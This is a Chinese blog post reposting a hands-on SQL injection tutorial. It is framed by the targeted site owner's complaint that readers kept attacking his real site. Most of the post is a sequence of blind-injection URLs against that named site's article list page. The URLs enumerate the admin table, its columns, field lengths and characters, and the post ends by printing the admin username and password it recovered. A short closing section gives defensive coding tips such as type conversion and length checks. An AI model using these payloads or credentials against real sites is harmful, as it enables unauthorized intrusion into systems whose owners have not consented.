给大家发一个SQL注入实战教程吧

(大家可以用GOOGLE搜索,www.jinshouzhi.org有得下)

这篇文章是去年10月份发的,我今年3月份才发现,这么长时间以来我的网站www.shbbs.net一直被当作教程攻

击,呵呵,晕死。直到有一个好心网友提醒我我才做了一些处理。
大家不要再按教程上直接使用攻击我的网站www.shbbs.net了,呵呵我已经打了预防针了:)找别人的去演习吧

:)
以下是文章部分,还有动画教程,呵呵,晕死:)

实战 SQL Injection

目标:www.shbbs.net 的文章发布系统~~

目的:为了演示SQL Injection 给新手看,请大家不要破坏~~

打开 http://www.shbbs.net/Article/list.asp?id=974

http://www.shbbs.net/Article/list.asp?id=974 后加个 '

http://www.shbbs.net/Article/list.asp?id=974'
出错!ID没有过滤.

好。现在步骤就是
1、猜管理员账号的表
2、猜相应表中的用户的字段名以及密码的字段名.
3、猜出用户名的长度和密码的长度.
3、猜出用户名和密码
4、找到管理界面进去登陆管理.

猜管理员表:
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin) '//min(id) 返回表

中ID最小的值.
返回文章,证明有一个admin的表.如果没有返回文章,证明出错!不存在admin这个表.

猜用户的字段名
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where user='qqq')
返回错误信息,表示没有user这个用户字段名

再来~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

username='qqq')
没有返回错误信息.又也没有返回文章,提示找不到相应文章
证明:在admin中存在username这个字段.
只是用户名不是qqq

猜密码的字段名
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where passwd='qqq')
返回错误信息,表示没有passwd这个密码字段名

再来~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

password='qqq')
没有返回错误信息.也没有返回文章.提示找不到相应文章.
证明:在admin中存在password这个字段.
只是密码不是qqq
现在就来猜用户字段名长度
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(username)>8)
正确~~
http://www.xuanke.com/wz/list.asp?id=47 and 1=(select min(id) from admin where len(username)<15)
正确~~
用户名长度 大于8 小于15

http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(username)=10)
呵呵~~用户名长度为10位``~~

猜密码长度
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(password)>8)
正确~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(password)<15)
正确~~~
密码长度也是  大于8 小于15
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

len(password)=10)
呵呵~~密码长度为10.

用户名长度为:10 密码长度为:10

现在来猜用户名.
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(username,1,1)='a')
错了~~

我再猜~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(username,1,1)='s')
呵呵~~正确~~
用户名第一位是 s

猜用户名的第二位~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(username,2,1)='h')
用户名第二位是 h

由于时间关系,我早就猜好了,用户名:shbbsadmin


我们现在来猜密码~~ 猜密码跟猜用户名一样~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

mid(password,1,1)='s')

猜啊猜~

由于时间关系,密码我都猜好了,呵呵~~密码:shbbsadmin 哈哈~~跟用户名一样~~~~

用户:shbbsadmin
密码:shbbsadmin              

============================================================
呵呵,我以前用动网文章系统,被sql注入攻击者都写成教程给别人下载了

有些SB就拿我开刀,所幸我的论坛和文章发布系统用户名密码各不相同,否则损失可惨了

于是培养了稍于注意安全的写代码习惯。

如ID等数值型参数都是加cint()进行类型转换的,注入绝对是不成功的,如果是字符型参数都不用害怕',会当

做一个字符部分,毫无作用。

另外就是对传入参数做长度限定,比如
if len(request("id"))>5 then response.end
简单的一句话让注入攻击者一筹莫展。

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值